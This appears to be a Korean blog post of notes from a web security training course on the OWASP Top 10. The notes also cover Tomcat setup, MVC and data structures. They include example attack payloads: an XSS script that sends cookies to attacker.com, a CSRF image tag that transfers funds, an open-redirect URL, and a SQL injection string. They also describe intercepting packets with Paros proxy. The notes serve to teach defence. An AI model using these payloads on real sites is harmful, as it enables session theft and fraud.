Web Security 교육 (2)

 어제에 이어서 S.T 교육을 받았다. 정리를 해보자. 참고로 강사님 사이트는 javaspecialist.co.kr이다.

A2. 인증 및 세션 관리 취약점
 URL에서  ..(생략)...;jsessionid=2PJDJ...(생략)... 와 같은 주소값을 보는 일이 있다. 이것은 tomcat web server를 사용할 때 encode("url")을 사용할 때 나타난다. 여기서 jsessionid가 노출된 것이 중요하다. 이런 경우 패킷 스니핑으로 잡아낼 수 있다.

 쿠키 설정을 안하면 login이 안된다. 왜냐하면 cookie에 세션 id가 저장되지 않기 때문이다. 보통 로그인을 하면 30분 정도 유지가 되며 로그아웃 시에는 이 세션이 만료된다. 문제는 가끔 세션 유지 시간을 -1로 해놓는 경우가 있다. 이 경우는 영구적으로 지속되어 문제가 된다.
 session.invalidate()를 통해 세션을 만료 시켜줘야한다.

 Naver,Daum 같은 큰 포털사이트의 경우에는 매 페이지마다 Session ID가 달라져서 애초에 이런 문제를 방지하고 있다.

 jasypt : 자바 암호화 라이브러리. encrypt 할 때마다 그 값이 달라진다.


A3. 크로스 사이트 스크립팅 (XSS)
(string) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";

라는 코드가 있다고 하자. 저 request 부분에 다음의 코드를 삽입한다면
'><script>document.location = 'http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'
의도하지 않은 사이트로 접속하게 되어 정보를 넘겨주게 될 것이다.

 < 는 &lt;
 > 는 &gt;  로 바꾸는 것으로도 많은 문제가 해결된다. 물론 unicode 변환을 이용해 다시 무력화 할 수 있어서 완벽한 방어책은 아니다.


A4. 취약한 직접 객체 참조.
 JS 코드를 이용해 DOM Tree를 조정할 수 있다는 것이다. 예를 들어 document.querySelector("CSS선택자") 같은걸 이용해 DOM을 만질 수 있다.
 사실 get방식이건 post 방식이건 서버는 이 사람이 session id를 이용해 로그인이 되어 있는지만 체크한다. parosproxy를 이용해 패키을 가로챌 수 있다.
 인터넷옵션-연결탭-LAN설정-프록시서버-포트변경-Trap-Tap request체크.
 이 상태에서 인터넷을 이용해 패킷을 보내면 잡힌다. 잡은 패킷을 조작해 continue 하게 되면 변조된 패킷이 날아간다. 왼쪽에서 Sites->cmm에 존재한다.
 만약 같은 컴퓨터를 여럿이서 사용한다면 새로운 세션을 열어서 인터넷을 해야한다.
 cookie toolbar 를 이용해 edit cookie가 가능하다. 다운로드는 www.diodia.com에서 가능.
 이러한 직접 객체 참조를 막기 위해서는 서버단 검증이 반드시 필요하다.
 user-agent는 사용자의 브라우저가 무엇인지 알려준다. trident는 IE의 렌더링 엔진을 의미한다. 그리고 만약 user-agent에 paros를 거쳐서 오는 패킷이 있다면 반드시 막아야 한다. 또한 만약을 대비해 회원들의 IP를 저장해둬야할 것이다.

 Web Application Server : WebLogic, WebSphere, JEUS 그리고 Tomcat..
 이러한 녀석들을 이용하면 Application 혹은 Context를 Deploy하고 Undeploy할 수 있도록 해준다. 보통 http://localhost:8080/manager 혹은 console에서 관리자 페이지를 제공한다.

 Eclipse JavaEE + Tomcat + 환경변수 잡기(JDK설치된 곳으로 지정) 하여 환경을 구축한다.
 Tomcat의 내부 폴더에서 bin/startup을 실행한다. /manager로 접속한다. conf/tomcat-users를 보면
 <-- <role name="tomcat"/>
 ... (생략) ...
 -->이 있다. 이것을 참조하여 추가한후 Shutdown & Startup을 한다.
 Application Deploy가 가능해진다. 여기서 쓸데 없는 App은 Undeploy 해둬야 한다. 이클립스를 실행해서 Dynamic Web Project를 실행한다. Build Path - Configuration ... - Library - Add External Jar - 아파치 폴더의 Servlet-API 추가한다. 프로젝트를 완성했으면 원격지 업로드를 위해서 Export-WAR file을 해서 관리자 콘솔 아래에서 Deploy를 하도록 한다.

 디렉토리 목록은 결코 밖으로 보여져서는 안된다.

 Java -> class -> Jar -> Dex -> apk  의 구조를 가진다. 이 때 Java Decompile을 통해 Dex 파일을 class로 변환하여 소스코드를 확인할 수 있다.

 패킷트레이서를 이용해 패킷을 훔칠 수도 있다.

 암호화 알고리즘이 뻔해서 추측이 가능하다. 변화를 주기위해 salt를 사용한다.

 암호화 알고리즘은 알고리즘 + 알고리즘 운용방식 + 패팅으로 이루어진다. 다음 블록의 암호화 시에 전의 블록의 결과를 이용한다. 단방향 알고리즘은 이러한 seed가 없기 때문에 salt를 쓰는 것이다.

 JD-GUI를 참고하라. url:admin을 하면 admin이 있는 url를 찾아준다.


 A8. 크로스 사이트 요청변조(CSRF)
  웹 사이트 구조를 알기 위해 프로그램을 이용해 URL구조를 알수 있다. 웹 사이트 구조를 알게 되면 다음의 코드를 이용해 위험에 처할 수 있다.
 <img src="http://example.com/app/transferFunds?amount=1500&destinationAccount+=attackersAcc+#" width="0" height="0"/>
 이 값을 넣어놓게 되면 관리자가 접속시에 당하게 될 것.


 A9. 알려진 취약점이 있는 컴포넌트 사용
 MIT 라이센스는 가져다 쓰는 것은 무료이나 그로 인한 피해는 책임지지 않는 라이센스다.


 A10. 검증되지 않은 redirect & forward
 만약 a.jsp -> b.jsp가 있다고 하자.
 이 때 redirect는 url의 주소가 b.jsp가 되며 사용자 이름은 null이다.
 (response.sendRedirect("b.jsp");)
 요청이 2번 일어난다. 그런데 요청이라는 것은 1회성이기 때문에 b.jsp로 사용자 이름이 넘어가지 않는다. 이러한 redirection은 글을 저장하고 바로 목록을 조회해서 뿌려줘야 할 때에 쓰이는 것이다. 즉, 요청 후 새로운 요청이 실행될 때 쓰인다.

 forward는 url주소가 그대로 a.jsp이며 사용자 이름도 넘어간다.
 (request.getRequestDispather("b.jsp").forward(request,response);)
 요청은 단 한번 일어난다. a.jsp에서 request객체를 b.jsp로 넘겨주어 b.jsp에서 응답하는 절차다. forward는 요청 후 결과를 보여주기 위해서 쓰인다.

 http://www.example.com/redirect.jsp?url=evil.com과 같이 다른 사이트로 넘어가게 될 수도 있으니 redirect, forward를 조심해야함.

 또 다른 위험으로 비동기 요청이 있다. 브라우저는 해당 도메인 주소가 아닌 다른 도메인 주소에서 ajax를 부르는 것을 거부한다. 하지만! proxy page나 backend 단에서 다른 도메인 요청을 가져올 수 있다는점. 예를 들어 RSS Proxy가 있다.

 <%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
 <c:import charEncoding="UTF-8" url="${param.rssurl}"></c:import> 이 코드의 결과는 XML문서다. 결국 DOM Tree로 해석이 가능하기 때문에 주소와 내용이 달라지게 된다. 그러나 XML 문서를 뿌리는 것 위에 공백이 남게 되어 브라우저가 해석을 못하게 되는데 이러한 경우에도 방법이 있다.
 <%@ page langu....(생략)... trimDirectiveWhitespace="true"%> 를 넣어주면 된다. 이 코드는 앞의 공백을 없애서 XML문서가 well-formed 규칙에 맞게 해준다.

 마지막으로 지속적인 공부를 원한다면
 Webgoat-5.4-OWASP...(생략)...을 다운로드 받아서 배치파일을 실행한다. 웹에서 WebGoat/attack에 접속한다. tomcat-user.xml에 보면 id와 pw가 있다. 걍 guest/guest해도 된다. 그리고 웹보안 취약점이 있는 페이지가 나오는데 이것으로 공부가 가능하다.

Web Security 교육 (1)

 클라이언트가  인증처리를 거치게 되면 서버에서 SessionID를 만들어서 클라이언트를 기억하게 된다. 이 때, 번호표와 같은 개념으로 Session ID를 클라이언트에게 넘겨주는데 클라이언트에서는 이 Session ID를 Cookie에 저장한다.

 우리가 보통 쓰는 Apache-Tomcat 은 응답 기능을 하는 Web Server 인 Apache 와 Servlet container 인 Tomcat 으로 이루어져 있다. ... 서블릿만 하는건 아닐텐데.

 JavaScript 는 Thread가 없다. 그래서 Sleep 같은 메소드도 없다. 그래서 클라이언트는 SetInterval 같은 함수를 이용해서 주기적으로 서버에 요청을 보냈다. 그래서 응답을 쪼개기 위해서 100번대의 응답코드가 존재한다.

 Native App 은 실행속도, 반응속도가 빠르고 인터넷 연결이 필요 없다. Web App은 개발 비용이 낮고 높은 호환성을 가진다. 인터넷 연결이 필요하며 Hold Down 같은 UI 측면이 약하다. Hybrid App 은 네이티브 위에 Rendering Engine을 사용하는 Webkit (web view) 위에서 HTML5, CSS, JS와 같은 언어가 돌아가는 환경이다.

 PhoneGap은 하이브리드 앱을 만드는 프레임워크다. 단순하게 이야기해서 크로쓰 플랫폼을 가능하게 하는 녀석이다. 웹언어를 이용해 iOS, Android 환경을 지원한다. (그 외에 플랫폼도 지원하는 것으로 보인다.) 하지만 퍼포먼스가 많이 떨어진다. 비슷한 녀석으로 자마린이 있다.

 어떤 프로그램이건 MVC 패턴이 중요하다. Model-View-Controller 다.

 강사님이 그려준 것과 조금 다르긴 한데 비슷해서 퍼왔다. Model이란 자료구조를 의미하고 Controller는 안드로이드의 Adapter와 비슷한 개념이다. View는 사용자에게 보여지는 모든 것들을 의미한다. 이 때 Model과 Controller의 중간에 Service를 넣어주지 않으면 n * m의 의존관계가 발생해서 다루기가 어렵다. 

 MVC를 구현한 framework로 Struts MVC, Spring MVC가 있다. Model 에서 사용되는 pojo class도 참고하자. (강사님은 java class를 그냥 그럴싸하게 말하는 것 뿐이라는데.. 잘 모르겠다)

 GPL, LGPL 라이센스는 2차 저작물의 소스를 공개 해야한다. MIT, BSD, Apache는 소스 공개를 하지 않아도 된다. 

 UML을 도와주는 툴로 StarUML, EA, RSA, Together가 있다. 가격대비성능비는 EA가 가장 좋다고 한다. 하지만 그것도 부담되는 측면이 있어서 대부분 StarUML을 쓴단다. 그 외에 것들은 비싸기 때문에 패쓰.

 Controller와 Model 사이의 패턴에 대해서 더 말해보자. 지금부터 말하는 대부분의 것들은 JSP를 기반으로 한다. Controller는 IService를 참조한다. IService는 Interface다. 그리고 Service가 그것을 구현하고 Model을 참조한다. 

 여기에는 객치 지향 개념이 들어간다. Java를 잘 한다고 해서 정확한 객체 지향 개념을 아는 사람은 드물다. 객체 지향의 가장 중요한 점은 다형성과 상속이다. 즉, 다형성을 적용하기 위해서는 상속관계의 전제가 필요하다. 소스 코드에서 if문은 상속과 다형성으로 대체가 가능하다.

 강사님은 잠깐 자료구조에 대해서도 말해주었는데 기억하기가 아주 쉬웠다.

 배열은 개수제한이 있고 삽입, 삭제시에 부담이 크다. 그래서 연결리스트가 나왔다. 리스트는 검색은 떨어지나 삽입, 삭제에 능하다. 역방향 검색이 안된다. 그래서 이중연결리스트가 나왔다. 연결리스트는 정렬이 되어있지 않다. 그래서 스택과 큐가 나왔다. 스택은 연산이나 메서드 호출에 이용된다. 큐는 기억이 잘 나지 않네. 여튼 스택과 큐는 특수목적으로 사용된다고 한다. 

 근데 배열이나 리스트는 검색시에 풀스캔을 할 수 밖에 없다. 그래서 트리가 나왔다. 트리에 B*나 Red Black Tree가 자주 쓰인다. 마지막으로 그래프가 있다. 그래프는 정점과 정점 사이에 가중치가 존재하는데 비용산정이나 최단경로 따위를 구하는데 쓴다. 여기까지 배웠으면 알고리즘으로 넘어가란다.

 UML 다이어그램도 이야기 해줬다.

 위의 그림은 강사님이 써준게 아니지만 비슷해서 퍼왔다. 차례대로 설명을 해보자면.. 첫 번째부터 Dependency, Aggregation, Generalization, Composition, Association, Realization

 브라우저 구조

 HTML -> HTML Parser -> Dom Tree -> 

                                                            Attachment -> Render Tree -> Rendering -> Display

 CSS -> CSS Parser -> Style Rule ->

 흠. 그리기 귀찮아서 글로 적었는데 잘 보이려나 모르겠다. 중요한건 ajax가 Dom Tree 부분을 건드린다는 점이다. 그것만 알면 되는 듯.

 ' or '1' = '1   (이것에 대한 설명은 생략한다..)

 암호화에는 크게 2가지가 있다. Key가 있느냐 없느냐. Key가 없는 것은 비밀번호 따위이고 Key가 있는 것은 복호화가 필요한 평문화 해야하는 것들을 의미한다. 왜냐하면 비밀번호는 되돌릴 이유가 없기 때문이다. 복호화 해서 뭘하겠는가.

 OWASP TOP 10

1. 인젝션

2. 인증 및 세션 관리 취약점 -> 알툴바로 세션 변경이 가능

3. 크로스 사이트 스크립팅

게시판 바디에 

<script>

 for (i=0; i<10000; i+=){

   alert("asdfasdf");

 }

</script>

4. 취약한 직접 객체 참조 -> 내부 객체 이름이 노출되는 경우. 스캇계정으로 뚫리는 경우

5. 보안 설정 오류

6. 민감 데이터 노출

7. 기능 수준의 접근통제 누락

8. 크로스 사이트 요청 변조 (CSRF)

9. 알려진 취약점이 있는 컴포넌트 사용

10. 검증되지 않은 redirect, forward

 egovframe.go.kr 에 가면 plug-in이 가득담긴 Eclipse가 있다. ㄷ ㄷ ㄷ ㄷ 

 JDBC사용할 때 Statement 쓰면 안됨. 인젝션에 당한다. 차라리 PreparedStatement를 사용하는 것이 낫다. Callable Statement

 MyBatis 라고 (CRUD : Create, Read, Update, Delet)를 가능하게 해주는 녀석이 있다. 

 JSP 공부할 때는 반드시 jstl을 공부해야한다. 안그러면 공부 안한것과 마찬가지다.

 forward와 redirect의 차이는 주소값이 변하는지 보면 된다. forward는 URL의 변경 없이 내부 페이지가 변한다. redirect은 아에 다른 페이지로 넘겨지기 때문에 URL 값도 변경된다. 

(http://www.mkyong.com/jsf2/jsf-page-forward-vs-page-redirect/)